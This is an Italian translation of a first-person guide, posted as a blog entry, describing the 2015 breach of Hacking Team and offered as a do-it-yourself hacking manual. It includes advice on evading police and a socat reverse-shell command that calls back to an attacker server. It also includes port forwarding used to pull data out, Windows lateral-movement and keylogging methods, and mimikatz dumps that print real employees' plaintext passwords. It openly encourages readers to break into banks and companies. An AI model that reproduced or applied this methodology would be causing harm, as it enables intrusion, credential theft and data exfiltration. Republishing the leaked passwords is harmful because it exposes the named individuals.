HACKBACK: Una guida fai-da-te

Posted: Agosto 22nd, 2018 | Author: | Filed under: Hacking | Tags: | Commenti disabilitati su HACKBACK: Una guida fai-da-te

1 – Introduzione

Vi sarete accorti del cambiamento di lingua dall’ultima edizione.
Il mondo per chi conosce l’inglese è già pieno di libri, talk, guide e informazioni sull’hacking. In quel mondo, ci sono hacker migliori di me, in abbondanza, ma che sprecano i loro talenti, lavorando per difendere i padroni, o per agenzie di Intelligence, per proteggere banche e multinazionali, e per difendere lo status quo.

La cultura hacker è nata negli US come una controcultura, ma quell’origine ormai è rimasta solamente nella sua estetica – il resto è stato assimilato. Alla fine possono indossare t-shirt, colorarsi i capelli di blu, usare i loro nomi da hacker, e sentirsi ribelli mentre lavorano per qualcuno.

2 – Hacking Team

Hacking Team era un’azienda che aiutava i governi a violare e spiare giornalisti, attivisti, opposizioni politiche e altre minacce al loro potere:

1. http://www.animalpolitico.com/2015/07/el-gobierno-de-puebla-uso-el-software-de-hacking-team-para-espionaje-politico/

2. http://www.prensa.com/politica/claves-entender-Hacking-Team-Panama_0_4251324994.html

3. http://www.24-horas.mx/ecuador-espio-con-hacking-team-a-opositor-carlos-figueroa/

4. https://citizenlab.org/2012/10/backdoors-are-forever-hacking-team-and-the-targeting-of-dissent/

5. https://citizenlab.org/2014/02/hacking-team-targeting-ethiopian-journalists/

6. https://citizenlab.org/2015/03/hacking-team-reloaded-us-based-ethiopian-journalists-targeted-spyware/

7. http://focusecuador.net/2015/07/08/hacking-team-rodas-paez-tiban-torres-son-espiados-en-ecuador/

8. http://www.pri.org/stories/2015-07-08/these-ethiopian-journalists-exile-hacking-team-revelations-are-personal

9. https://theintercept.com/2015/07/07/leaked-documents-confirm-hacking-team-sells-spyware-repressive-countries/

10. http://www.wired.com/2013/06/spy-tool-sold-to-governments/

11. http://www.theregister.co.uk/2015/07/13/hacking_team_vietnam_apt/

E occasionalmente anche veri e propri criminali e terroristi.

Vincenzetti, il CEO, era solito terminare le email con il motto fascista “boia chi molla”. Anche se sarebbe stato più corretto dire “boia chi vende RCS”. Inoltre possedevano a detta loro tecnologie per risolvere i “problemi” dati da Tor e dalla DarkNet. Ma considerando che io sono ancora in libertà, ho i miei dubbi riguardo la sua efficacia.

3 – Resta protetto nel mondo esterno

Sfortunatamente il nostro mondo è ingiusto. Diventi ricco facendo brutte cose, e vai in prigione facendo del bene. Fortunatamente, grazie al duro lavoro di persone come il Tor Project, puoi evitare di andare in prigione prendendo alcune semplici precauzioni:

1. Criptare il tuo HardDisk:
Suppongo che quando la polizia arriva a sequestrare il tuo computer, è perché hai già commesso un sacco di errori, ma è meglio essere protetti in ogni caso.

2. Usare una virtual machine con il traffico interamente sotto Tor:
Ciò permette due cose. Primo, tutto il traffico è anonimo attraverso Tor. Secondo, tenere la tua vita personale e l’hacking su computer separati, aiuta a non mischiarle per sbaglio.
Puoi usare progetti come Whonix, Tails, Qubes TorVM o qualcosa di personalizzato.
Ecco qua un confronto dettagliato.

3. (Opzionale) Non connetterti direttamente a Tor:
Tor non è una panacea. Possono collegare le volte che ti sei connesso a Tor con le volte in cui l’ipotetico hacker era attivo. Inoltre, ci sono stati attacchi contro Tor.
Puoi connetterti a Tor usando reti WiFi di altre persone. Wifislax è una distro linux con un sacco di tool per il WiFi cracking. Un’altra opzione è di connettersi a una VPN o a un Bridge Node prima di Tor, ma è meno sicuro perché possono lo stesso correlare l’attività dell’hacker con la tua attività da casa.
(Questo è stato usato come prova contro Jeremy Hammond).

La realtà è che nonostante Tor non sia perfetto, funziona abbastanza bene. Quando ero giovane e spericolato, ho fatto un sacco di cose senza protezione (mi riferisco all’hacking) eccetto Tor, la polizia ha provato a fare del suo meglio per investigare, e non ho mai avuto problemi.

3.1 – Infrastrutture

Non hackero direttamente dagli exit node di Tor. Sono sulle blacklist, sono lenti e non possono ricevere riconnessioni.
Tor protegge il mio anonimato mentre mi connetto alle infrastrutture che uso per hackerare, che consistono in:

1. Domain Names (Domini):
Per indirizzi C&C, e tunnel DNS per uscite garantite.

2. Server stabili:
Per uso come server C&C, per ricevere shell connect-back, per lanciare attacchi, e per salvare il bottino.

3. Server hackerati:
Per uso come pivot, per nascondere gli indirizzi IP dei server stabili e per quando voglio una connessione veloce,
senza pivoting, per esempio per lo scan delle porte, scan dell’internet, scaricare database con sqli, etc.
Ovviamente devi usare un metodo di pagamento anonimo come i BitCoin[1]  (se usati con cautela).

3.2 – Attribuzione degli attacchi

Nelle notizie spesso vediamo attacchi risalenti a gruppi governativi di hacking (APT), scoperti perché usano sempre gli stessi tool, lasciano la stessa impronta digitale, e usano le stesse infrastrutture (domini, email, etc…).
Sono negligenti perché possono hackerare senza conseguenze legali.

Non ho voluto rendere il lavoro della polizia più facile collegando il mio hack all’Hacking Team con altri attacchi che ho fatto o con nomi che uso nel mio lavoro giornaliero come blackhat. Perciò, ho usato nuovi server e domini, registrati con nuove email, e pagati con nuovi indirizzi BitCoin. Inoltre ho usato tool che sono disponibili pubblicamente, o che ho scritto specificamente per questo attacco, ho anche cambiato il mio modo di fare le cose per non lasciare la mia solita impronta digitale forense.

4 – Information Gathering

Sebbene possa essere tedioso, questa fase è molto importante, poiché più grande è la superficie d’attacco, più facile è trovare un buco da qualche parte.

4.1 – Informazioni Tecniche

Alcuni tool e tecniche sono:

1. Google:
Un sacco di cose interessanti possono essere trovate con poche ricerche fatte bene. Per esempio, l’identità di DPR. La bibbia del Google hacking è il libro “Google Hacking for Penetration Testers”[2]. Puoi trovare un corto sommario in spagnolo qui.

2. Enumerazione dei sottodomini:
Spesso, il sito di una compagnia è hostato da terze parti e potresti trovare l’IP range vero della compagnia grazie ai sottodomini come mx.company.com o ns1.company.com. Inoltre, alcune volte ci sono cose che non dovrebbero essere esposte nei sottodomini. Tool utili per scoprire domini e sottodomini sono fierce, theHarvester, e recon-ng.

3. Whois lookup e reverse lookup:
Con un reverse lookup utilizzando informazioni di un whois da un dominio o un ip range di una compagnia, puoi trovare altri domini e IP range. Per quanto ne so, non ci sono modi per fare un reverse lookup a parte con una “hack” di Google:

“via della moscova 13” site:www.findip-address.com
“via della moscova 13” site:domaintools.com

4. Port scanning e fingerprinting:
A differenza delle altre tecniche, questa parla ai server della compagnia. Lo includo in questa sezione perché non è un attacco. è solo information gathering. L’IDS della compagnia probabilmente genererà un alert, ma non preoccupartente in quanto l’intero internet è costantemente soggetto a scan.
Per lo scanning, nmap è preciso e può rintracciare la maggior parte dei servizi scoperti. Per compagnie con IP range molto grandi, zmap o masscan sono veloci. WhatWeb o BlindElephant possono rintracciare siti web.

4.2 – Informazioni sociali

Per l’ingegneria sociale, è utile avere informazioni sugli impiegati, i loro ruoli, informazioni sui contatti, sistemi operativi, browser, plugin, software etc.
Alcune risorse sono:

1. Google:
Come al solito, è il tool più utile.

2. theHarvester e recon-ng:
Li ho già menzionati nelle sezioni precedenti, ma hanno un sacco di funzionalità in più. Possono trovare un sacco di informazioni velocemente e in automatico. Quindi è utile leggere tutta la loro documentazione.

3. LinkedIn:
Un sacco di informazioni sugli impiegati possono essere trovate qui. Gli addetti ad assumere persone sono più spesso inclini ad accettare la tua richiesta di connessione.

4. Data.com:
Conosciuto precedentemente come jigsaw. Hanno informazioni di contatto per molti impiegati.

5. Metadata nei file:
Un sacco di informazioni sugli impiegati e i loro sistemi possono essere trovate nei metadata dei file che la compagnia ha pubblicato. Tool utili per trovare file nel sito della compagnia ed estrarre i metadata sono metagoofil e FOCA.

5 – Entrare nella rete

Ci sono varie vie per avere un punto di appoggio. In quanto il metodo che ho usato contro l’Hacking Team è poco comune e un sacco di lavoro in più è di solito non necessario, parlerò delle due vie più comuni, che raccomando di provare per prime.

5.1 – Ingegneria Sociale

L’ingegneria sociale[3], specialmente il phishing, è responsabile per la maggioranza degli attacchi dei nostri giorni. Per altre informazioni in inglese, leggi questo (la terza parte,”Targeted Attacks”). Per storie divertenti su exploit di ingegneria sociale invece leggi questo.
Non ho voluto provare il phishing sull’HackingTeam perché il loro intero business sta aiutando i governi a fare phishing sui loro avversari, quindi avrebbero probabilmente speso tempo a investigare su un eventuale tentativo.

5.2 – Comprare accessi

Grazie ai russi che lavorano duro e ai loro exploit, trafficanti e gestori di botnet, molte aziende hanno già dei computer compromessi nelle loro reti e con molta fortuna alcuni nei loro enormi network, hanno dei bot all’interno. Però Hacking Team era una compagnia veramente piccola e molti dei loro impiegati erano esperti di sicurezza informatica, quindi c’era una bassa probabilità che fossero già compromessi.

5.3 – Technical Exploitation

Dopo l’hack del Gamma Group , ho descritto un processo per cercare vulnerabilità. Hacking Team aveva un IP range pubblico:

inetnum: 93.62.139.32 – 93.62.139.47

descr: HT public subnet

Hacking Team aveva veramente poco esposto ad internet. Per esempio, a differenza del Gamma Group, i loro clienti necessitavano di un client certificato per connettersi. Quello che avevano di esposto era il loro sito web (un blog Joomla dove Joomscan non ha trovato niente di serio), un mail server, un paio di router, due dispositivi per il VPN, e un filtro spam. Di conseguenza, avevo tre opzioni possibili: cercare uno 0day in Joomla, cercarne uno in postfix, o uno in uno dei dispositivi embedded. Uno 0day in un dispositivo embedded mi è sembrata l’opzione più facile, e dopo due settimane di reverse enegineering, ho trovato un remote root exploit. In quanto le vulnerabilità non sono ancora state patchate, non darò altri dettagli, ma per più informazioni su come trovare questo tipo di vulnerabilità vedi devttys0.com e questa presentazione.

6 – Prepararsi

Ho fatto un sacco di lavoro e test prima di usare l’exploit contro l’Hacking Team. Ho scritto un firmware backdoorato e compilato vari post-exploitation tool per device embedded. La backdoor è servita per proteggere l’exploit. Usando l’exploit solo una volta e poi ritornare attraverso la backdoor ha reso più difficile identificare e patchare la vulnerabilità.
I tool di post-exploitation che ho preparato erano:

1. BusyBox
Per tutte le utility Unix standard che il sistema non aveva.

2. Nmap
Per effeturare scan e fingerprint nel network interno dell’Hacking Team.

3. Responder.py
Il tool più utile per attaccare le reti Windows, quando hai accesso al network interno, ma senza domain user.

4. Python
Per eseguire Responder.py

5. tcpdump
Per fare sniffing del traffico.

6. dsniff
Per fare sniffing delle password da protocolli plaintext come ftp e per arpspoofing. Ho voluto usare ettercap, scritto dai proprietari dell’Hacking Team Alor e NaGa, ma è stato difficile compilarlo per il sistema.

7. socat
Per una shell confortevole con un pty:

my_server: socat file:tty,raw,echo=0 tcp-listen:my_port
hacked box: socat exec:bash -li,pty,stderr,setsid,sigint,sane \tcp:my_server:my_port

è utile per molto altro, è un coltellino svizzero del networking. Guarda la sezione esempio della documentazione.

8. screen
Come la shell con pty, non era veramente necessario. Ma volevo sentirmi a casa nel network dell’Hacking Team.

9. Un server proxy SOCKS
Da usare con proxychains per essere abilitato ad accedere al loro network locale da ogni programma.

10. tgcd
Per il port forwarding, come per il server SOCKS, attraverso il firewall.

La peggior cosa che poteva succedere era che il sistema fosse reso instabile dalla mia backdoor o il tool di post-exploitation causando l’investigazione di un impiegato. Perciò ho speso una settimana a testare il mio exploit, la backdoor e i tool di post-exploitation nel network di altre compagnie vulnerabili prima di entrare nella rete dell’Hacking Team.

7 – Guarda e ascolta

Una volta all’interno del network, ho voluto dare un’occhiata intorno pensando al mio prossimo passo. Ho lanciato Responder.py in analysis mode (-A per ascoltare senza mandare risposte poisoned) e fatto uno slow scan con nmap.

8 – Database NoSQL

NoSQL o meglio NoAuthentication, è stato un grande dono alla community degli hacker. Solo quando ne ero preoccupato loro hanno finalmente patchato tutti gli authentication bypass bug in MySQL:

1. https://community.rapid7.com/community/metasploit/blog/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql

2. http://archives.neohapsis.com/archives/vulnwatch/2004-q3/0001.html

3. http://downloads.securityfocus.com/vulnerabilities/exploits/hoagie_mysql.c

4. http://archives.neohapsis.com/archives/bugtraq/2000-02/0053.html

I nuovi database arrivano con l’assenza di autenticazione per design. Nmap ha trovato qualcosa nel network interno dell’Hacking Team:

27017/tcp open mongodb MongoDB 2.6.5

| mongodb-databases:
| ok = 1
| totalSizeMb = 47547
| totalSize = 49856643072
|_ version = 2.6.5 27017/tcp open mongodb MongoDB 2.6.5

| mongodb-databases:
| ok = 1
| totalSizeMb = 31987
| totalSize = 33540800512
| databases
|_ version = 2.6.5

Erano i database per le istanze di test di RCS. L’audio che RCS registra è salvato in MongoDB con GrindFS. La cartella audio nel torrent viene da questo. Si stavano spiando da soli senza saperlo.

9 – Crossed Cables

Sebbene fosse divertente vedere le registrazioni e le immagini delle webcam dell’Hacking Team mentre sviluppavano i loro malware, non è stato molto utile. I loro backup insicuri furono la vulnerabilità che mi aprì le porte. Secondo la loro documentazione, i loro dispositivi iSCSI sarebbero dovuti essere su un network separato, ma nmap ne ha trovati alcuni sul loro subnetwork 192.168.1.200/24:

Nmap scan report for ht-synology.hackingteam.local (192.168.200.66)

3260/tcp open iscsi?
| iscsi-info:
| Target: iqn.2000-01.com.synology:ht-synology.name
| Address: 192.168.200.66:3260,0
|_ Authentication: No authentication required

Nmap scan report for synology-backup.hackingteam.local (192.168.200.72)

3260/tcp open iscsi?
| iscsi-info:
| Target: iqn.2000-01.com.synology:synology-backup.name
| Address: 10.0.1.72:3260,0
| Address: 192.168.200.72:3260,0
|_ Authentication: No authentication required

iSCSI necessita di un modulo del kernel e sarebbe stato difficile compilarlo per il sistema embedded. Ho fatto forwarding su una porta per poterlo montare da una VPS:

VPS: tgcd -L -p 3260 -q 42838
Embedded system: tgcd -C -s 192.168.200.72:3260 -c VPS_IP:42838
VPS: iscsiadm -m discovery -t sendtargets -p 127.0.0.1

Ora iSCSI trova il nome iqn.2000-01.com.synology ma ha problemi a montarlo perché pensa che il suo IP sia 192.168.200.72 invece di 127.0.0.1
Il modo in cui ho risolto è stato questo:

iptables -t nat -A OUTPUT -d 192.168.200.72 -j DNAT –to-destination 127.0.0.1

E dopo:

iscsiadm -m node –targetname=iqn.2000-01.com.synology:synology-backup.name -p 192.168.200.72 –login

Il device file appare! Ora lo montiamo:

vmfs-fuse -o ro /dev/sdb1 /mnt/tmp

E troviamo i backup di varie virtual machine. L’Exchange server è sembrato il più interessante. Era troppo grande da scaricare, ma era possibile montarlo da remoto per guardare file interessanti:

$ losetup /dev/loop0 Exchange.hackingteam.com-flat.vmdk
$ fdisk -l /dev/loop0
/dev/loop0p1 2048 1258287103 629142528 7 HPFS/NTFS/exFAT

Quindi l’offset è 2048 * 512 = 1048576:

$ losetup -o 1048576 /dev/loop1 /dev/loop0
$ mount -o ro /dev/loop1 /mnt/exchange/

Ora in /mnt/exchange/WindowsImageBackup/EXCHANGE/Backup 2014-10-14 172311 troviamo l’Hard Disk della VM e la montiamo:

vdfuse -r -t VHD -f f0f78089-d28a-11e2-a92c-005056996a44.vhd /mnt/vhd-disk/
mount -o loop /mnt/vhd-disk/Partition1 /mnt/part1

E finalmente abbiamo spacchettato la bambola russa e possiamo vedere tutti i file dal vecchio Exchange server in /mnt/part1.

10 – Da backup a domain admin

Quello che mi ha interessato di più nel backup è stato vedere se ci fossero password o hash che potevano essere usate per accedere al server attivo. Ho usato pwdump, cachedump e lsadump nel registro hive. lsadump ha trovato la password al besadmin service account:

_SC_BlackBerry MDS Connection Service
0000 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
0010 62 00 65 00 73 00 33 00 32 00 36 00 37 00 38 00 b.e.s.3.2.6.7.8.
0020 21 00 21 00 21 00 00 00 00 00 00 00 00 00 00 00 !.!.!………..

Ho usato proxychains con il server SOCKS nel dispositivo embedded e nel smbclient per controllare la password:

proxychains smbclient ‘//192.168.100.51/c$’ -U ‘hackingteam.local/besadmin%bes32678!!!’

Ha funzionato! La password per besadmin era ancora valida. Ho usato il mio proxy e Metasploit psexec_psh per avere una sessione Meterpreter.
Dopo sono migrato a un processo a 64 bit, ho lanciato “load kiwi“, “creds_wdigest” ed ho avuto un pò di password incluso il Domain Admin:

HACKINGTEAM BESAdmin bes32678!!!
HACKINGTEAM Administrator uu8dd8ndd12!
HACKINGTEAM c.pozzi P4ssword <—- lol grande sysadmin
HACKINGTEAM m.romeo ioLK/(90
HACKINGTEAM l.guerra 4luc@=.=
HACKINGTEAM d.martinez W4tudul3sp
HACKINGTEAM g.russo GCBr0s0705!
HACKINGTEAM a.scarafile Cd4432996111
HACKINGTEAM r.viscardi Ht2015!
HACKINGTEAM a.mino A!e$$andra
HACKINGTEAM m.bettini Ettore&Bella0314
HACKINGTEAM m.luppi Blackou7
HACKINGTEAM s.gallucci 1S9i8m4o!
HACKINGTEAM d.milan set!dob66
HACKINGTEAM w.furlan Blu3.B3rry!
HACKINGTEAM d.romualdi Rd13136f@#
HACKINGTEAM l.invernizzi L0r3nz0123!
HACKINGTEAM e.ciceri 2O2571&2E
HACKINGTEAM e.rabe erab@4HT!

11 – Scaricare le mail

Con la password del Domain Admin, ho avuto accesso alla email, il cuore della compagnia. Ad ogni passo fatto ho rischiato di essere rilevato. Ho iniziato a scaricare le loro email prima di continuare a esplorare. PowerShell lo ha reso più facile. Curiosamente, ho trovato un bug con la gestione della data in PowerShell. Dopo le email, mi son preso un altro paio di settimane per avere accesso al codice sorgente e molto altro, quindi sono tornato e ho scaricato le nuove email. Il server era italiano, con la data in formato giorno/mese/anno. Ho usato:

-ContentFilter {(Received -ge ’05/06/2015′) -or (Sent -ge ’05/06/2015′)}

con New-MailboxExportRequest per scaricare le nuove email (in questo caso tutte quelle dal 5 giugno).
Il problema fu la data invalida, provando un giorno maggiore di 12. (Immagino perché negli US il mese viene per primo e non può essere superiore a 12). Sembra che gli ingegneri Microsoft compino test sui loro software solamente nella loro zona locale.

12 – Scaricare file

Una volta ottenuto il Domain Admin, ho iniziato a scaricare file condivisi usando il mio proxy e l’opzione -Tc del smbclient, per esempio:

proxychains smbclient ‘//192.168.1.230/FAE DiskStation’ \
-U ‘HACKINGTEAM/Administrator%uu8dd8ndd12!’ -Tc FAE_DiskStation.tar ‘*’

Ho scaricato l’Amministrazione, FAE DiskStation, e cartelle FileServer nel torrent in questo modo.

13 – Introduzione all’hacking dei domini windows

Prima di continuare con la storia del “weones culiaos” (Hacking Team), dovrei dare alcune nozioni generali per l’hacking delle reti Windows.

13.1 – Movimento furtivo

Darò una breve revisione di differenti tecniche di diffusione dentro a una rete Windows. Le tecniche per una esecuzione remota richiedono la password o hash di un admin locale sull’obbiettivo. Di gran lunga, il metodo più comune per ottenere queste credenziali è usando mimikatz, specialmente sekurlsa::logonpasswords e sekurlsa::msv, nei computer dove hai già accesso come amministratore. La tecnica per il movimento “in place” richiede anche privilegi amministrativi (eccetto per runas). I tool più importanti per la privilege escalation sono PowerUp e bypassuac.

Movimento remoto:

1. psexec:
Il vero metodo per il lateral movement su Windows, puoi usare psexec, winexe, psexec_psh su Metasploit, invoke psexec di PowerShell Empire, o il comando built-in in Windows “sc”. Per il modulo Metasploit, PowerShell Empire, e pth-winexe, ti serve solamente l’hash, non la password. Inoltre è il metodo universale (funziona in ogni computer Windows con porta 445 aperta) ma è anche il meno silenzioso.
Eventi di tipo 7045 “Service Control Manager” appariranno nei log degli eventi. Nella mia esperienza, nessuno se ne è mai accorto durante una hack, ma aiuta gli investigatori a capire cosa l’hacker abbia fatto.

2. WMI:
Il metodo più silenzioso. Il servizio WMI è abilitato su tutti i computer con Windows, eccetto i server, il firewall lo blocca di default. Puoi usare wmiexec.py, pth-wmis (ecco una dimostrazione di wmiexec e pth-wmis), invoke_wmi, o il comando integrato wmic. Tutto tranne wmic necessita solo dell’hash.

3. PSRemoting:
è disabilitato di default e non raccomando di abilitare nuovi protocolli. Ma se il sysadmin lo ha già abilitato, è molto conveniente, specialmente se usi PowerShell per tutto (e dovresti usare PowerShell per quasi tutto, cambierà con PowerShell 5 e Windows 10, ma per ora PowerShell rende facile fare qualsiasi cosa in RAM, evitando l’antivirus, e lasciando una piccola impronta digitale).

4. Attività pianificate:
Puoi eseguire programmi in remoto con sctasks. Lavora nelle stesse situazioni dove puoi usare psexec e lascia anche un footprint conosciuto.

5. GPO:
Se tutti questi protocolli sono disabilitati o bloccati dal firewall, una volta che sei Domain Admin, puoi usare GPO per dare agli utenti un login script, installare un msi, eseguire uno scheduled task, o come vedremo con il computer di Mauro Romeo (uno dei sysadmin dell’Hacking Team), usare GPO per abilitare WMI e aprire il firewall.

Movimento “In place”:

1. Rubare token:
Una volta che hai accesso come amministratore su un computer, puoi usare i token dell’altro utente per accedere a risorse nel dominio. Due tool per fare questo sono incognito e i comandi token:: di mimikatz.

2. MS14-068:
Puoi sfruttare un validation bug in Kerberos per generare ticket da Domain Admin:

3. https://github.com/bidord/pykek

4. https://adsecurity.org/?p=676

5. http://www.hackplayers.com/2014/12/CVE-2014-6324-como-validarse-con-cualquier-usuario-como-admin.html

3. Pass the Hash:
Se hai uno user hash, ma se non sono ancora loggati, puoi usare sekurlsa::pth per avere un ticket dall’utente.

4. Iniezione nei processi:
Ogni RAT può iniettarsi in altri processi. Per esempio, il comando migrate in Meterpretrer e pupy, o il comando psinject di PowerShell Empire. Puoi iniettarti nel processo che ha il token che vuoi.

5. runas:
Questo è ogni tanto molto utile in quanto non richiede i privilegi di amministrazione.
Il comando è parte di Windows, ma se non hai una GUI puoi usare PowerShell.

13.2 – Persistenza

Una volta che hai l’accesso, vuoi mantenerlo. Veramente, la persistenza è solo una sfida per stronzi come Hacking Team che prendono di mira attivisti e altri. Per hackerare le compagnie, la persistenza non è richiesta, in quanto le compagnie non dormono mai. Io uso sempre la “persistenza” in stile Duqu 2, eseguendo in RAM su una coppia server high-uptime (sempre online). Con la scarsa possibilità che vengano riavviati allo stesso tempo entrambi, ho delle password e un golden ticket come un accesso di backup. Puoi leggere altro sulle differenti tecniche di persistenza su Windows qua:

2. http://www.harmj0y.net/blog/empire/nothing-lasts-forever-persistence-with-empire/

3. http://www.hexacorn.com/blog/category/autostart-persistence/

4. https://blog.netspi.com/tag/persistence/

Ma per l’hacking di compagnie, non servono e aumenta il rischio di essere rilevati.

13.3 – Ricognizione interna

Il miglior tool ai giorni nostri per ispezionare le reti Windows è PowerView.
E’ utile leggere tutto quello che ha scritto il suo autore specialmente:

3. http://www.harmj0y.net/blog/powershell/veil-powerview-a-usage-guide/

4. http://www.harmj0y.net/blog/redteaming/powerview-2-0/

5. http://www.harmj0y.net/blog/penetesting/i-hunt-sysadmins/

6. http://www.slideshare.net/harmj0y/i-have-the-powerview

PowerShell da solo è comunque abbastanza potente. Considerando che ci sono ancora molti server con Windows 2000 e 2003 senza PowerShell, devi anche imparare i metodi vecchia scuola, con programmi come netview.exe, o il comando integrato in Windows “net view”. Altre tecniche che mi piacciono sono:

1. Scaricare una lista di file names:
Con un Domain Admin account, puoi scaricare una lista di tutti i nomi dei file nella rete con PowerView:

Invoke-ShareFinderThreaded -ExcludedShares IPC$,PRINT$,ADMIN$ |
select-string ‘^(.*) \t-‘ | %{dir -recurse $_.Matches[0].Groups[1] |
select fullname | out-file -append files.txt}

Successivamente, puoi leggere con calma e scegliere qualche file da scaricare.

2. Leggere email:
Come abbiamo già visto, puoi scaricare email con PowerShell e ha un sacco di utili informazioni.

3. Leggere sharepoint:
Questo è un altro posto dove alcuni business salvano un sacco di importanti informazioni. Può essere anche scaricato con PowerShell

4. Directory attiva:
Ha un sacco di informazioni utile sugli utenti e i computer. Senza essere Domain Admin, puoi lo stesso prendere un sacco di info con PowerView e altri tool. Dopo avere ottenuto il Domain Admin, dovresti esportare tutte le informazioni AD con csvde o un altro tool.

5. Spionaggio sugli impiegati:
Uno dei miei hobby preferiti è cacciare i sysadmin. Spiando Christian Pozzia (uno dei sysadmin di Hacking Team) ho ottenuto un accesso a un server Nagios che mi ha dato accesso alla Rete Sviluppo con il codice di RCS. Con una semplice combinazione di Get-Keystrokes e Get-TimedScreenshot da PowerSploit, Do-Exfiltration da nishang e GPO, puoi spiare un impiegato o l’intero dominio.

14 – A caccia di sysadmin

Leggendo la loro documentazione sulle infrastrinfrastruttureutture, ho visto che stavo ancora dimenticando l’accesso a qualcosa di importante – la “Rete Sviluppo”, un network isolato con il codice sorgente per RCS. Il sysadmin di una compagnia ha sempre accesso a tutto, quindi ho cercato i computer di Mauro Romeo e Christian Pozzi per vedere come amministravano la Rete Sviluppo, e per vedere se ci fossero altri sistemi interessanti su cui avrei dovuto investigare. E’ stato facile accedere ai loro computer, in quanto erano parte del dominio Windows dove avevo già ottenuto accesso di amministratore. Il computer di Mauro Romeo non aveva nessuna porta aperta, quindi ho aperto la porta per WMI ed eseguito Meterpreter. In aggiunta al keylogging e al screen scraping con Get-Keystrokes e Get-TimeScreenshot, ho usato molti moduli /gather/ da Metasploit, CredMan.ps1 e cercato file interessanti. Ho quindi visto che Pozzi aveva un volume Truecrypt, ho aspettato finchè non lo montasse e dopo ho copiato i file. Molti si son presi gioco della password debole di Christian Pozzi (e di Christian Pozzi in generale, ha fornito molto materiale):

7. http://hacking.technology/Hacked%20Team/c.pozzi/screenshots/

8. http://hacking.technology/Hacked%20Team/c.pozzi/Desktop/you.txt

9. http://hacking.technology/Hacked%20Team/c.pozzi/credentials/

Li ho inclusi nel leak come una falsa prova e per ridere di lui. La realtà è che mimikatz e i keylogger vedono tutte le password ugualmente.

15 – Il ponte

Nel volume Truecrypt di Christian Pozzi, c’era un file di testo con molte password. Una di queste era un server Nagios completo e automatizzato, che aveva accesso alla Rete Sviluppo al fine di monitorarlo. Ho trovato il bridge di cui necessitavo. Il file aveva solo la password all’interfaccia web, ma c’era un code execution exploit (è un exploit non autenticato, ma richiede almeno un utente con una sessione iniziata, per il quale ho usato la password del file di testo).

16 – Riutilizzare e resettare le password

Leggendo le email, ho visto Daniele Milan rilasciare l’accesso ai repo Git. Avevo già la sua password di Windows grazie a mimikatz. L’ho provata sul server Git e ha funzionato. Dopo ho provato sudo ed ha funzionato. Per il server Gitlab e il loro account Twitter, ho usato la funzione “Ho dimenticato la password” combinata con l’accesso al server mail per resettare le password.

17 – Conclusioni

E questo è tutto, ho impiegato tempo per distruggere una compagnia e fermare i loro abusi sugli esseri umani.
E il bello è l’assimetria dell’hacking: con 100 ore di lavoro, una persona può cancellare anni di lavoro di una compagnia milionaria. L’hacking dà a chi è svantaggiato una chance di lottare e vincere.

Le guide sull’hacking spesso finiscono con un avvertimento: queste informazioni sono solo a scopo educativo, sii un hacker etico, non attaccare sistemi di cui non hai il permesso etc. Dirò la stessa cosa ma con un concetto più ribelle di hacking etico. Rivelare documenti, espropriare soldi alle banche e lavorare per rendere sicuri i computer delle persone ordinarie è hacking etico. Però, molte persone che si definiscono “ethical hackers” lavorano solamente per rendere sicuri quelli che li pagano, che sono spesso quelli che si meritano di più di essere hackerati.

L’Hacking Team vedeva se stesso come parte di una lunga tradizione di design italiano. Ho visto Vincenzetti, la sua compagnia, i suoi compari in polizia, i Carabinieri e il governo, come parte di una lunga tradizione di fascismo italiano. Mi piacerebbe dedicare questa guida alle vittime del raid nella scuola Armando Diaz e a tutti quelli che hanno perso sangue per colpa del fascismo italiano.

18 – Contatti

Per mandarmi tentativi di phishing, minacce di morte in italiano tipo o tipo e per darmi 0days o accessi all’interno di banche, corporazioni, governi etc.

Solo email criptate per favore:
https://securityinabox.org/es/thunderbird_usarenigmail

—–BEGIN PGP PUBLIC KEY BLOCK—–

mQENBFVp37MBCACu0rMiDtOtn98NurHUPYyI3Fua+bmF2E7OUihTodv4F/N04KKx
vDZlhKfgeLVSns5oSimBKhv4Z2bzvvc1w/00JH7UTLcZNbt9WGxtLEs+C+jF9j2g
27QIfOJGLFhzYm2GYWIiKr88y95YLJxvrMNmJEDwonTECY68RNaoohjy/TcdWA8x
+fCM4OHxM4AwkqqbaAtqUwAJ3Wxr+Hr/3KV+UNV1lBPlGGVSnV+OA4m8XWaPE73h
VYMVbIkJzOXK9enaXyiGKL8LdOHonz5LaGraRousmiu8JCc6HwLHWJLrkcTI9lP8
Ms3gckaJ30JnPc/qGSaFqvl4pJbx/CK6CwqrABEBAAG0IEhhY2sgQmFjayEgPGhh
Y2tiYWNrQHJpc2V1cC5uZXQ+iQE3BBMBCgAhBQJXAvPFAhsDBQsJCAcDBRUKCQgL
BRYCAwEAAh4BAheAAAoJEDScPRHoqSXQoTwIAI8YFRdTptbyEl6Khk2h8+cr3tac
QdqVNDdp6nbP2rVPW+o3DeTNg0R+87NAlGWPg17VWxsYoa4ZwKHdD/tTNPk0Sldf
cQE+IBfSaO0084d6nvSYTpd6iWBvCgJ1iQQwCq0oTgROzDURvWZ6lwyTZ8XK1KF0
JCloCSnbXB8cCemXnQLZwjGvBVgQyaF49rHYn9+edsudn341oPB+7LK7l8vj5Pys
4eauRd/XzYqxqNzlQ5ea6MZuZZL9PX8eN2obJzGaK4qvxQ31uDh/YiP3MeBzFJX8
X2NYUOYWm3oxiGQohoAn//BVHtk2Xf7hxAY4bbDEQEoDLSPybZEXugzM6gC5AQ0E
VWnfswEIANaqa8fFyiiXYWJVizUsVGbjTTO7WfuNflg4F/q/HQBYfl4ne3edL2Ai
oHOGg0OMNuhNrs56eLRyB/6IjM3TCcfn074HL37eDT0Z9p+rbxPDPFOJAMFYyyjm
n5a6HfmctRzjEXccKFaqlwalhnRP6MRFZGKU6+x1nXbiW8sqGEH0a/VdCR3/CY5F
Pbvmhh894wOzivUlP86TwjWGxLu1kHFo7JDgp8YkRGsXv0mvFav70QXtHllxOAy9
WlBP72gPyiWQ/fSUuoM+WDrMZZ9ETt0j3Uwx0Wo42ZoOXmbAd2jgJXSI9+9e4YUo
jYYjoU4ZuX77iM3+VWW1J1xJujOXJ/sAEQEAAYkBHwQYAQIACQUCVWnfswIbDAAK
CRA0nD0R6Kkl0ArYB/47LnABkz/t6M1PwOFvDN3e2JNgS1QV2YpBdog1hQj6RiEA
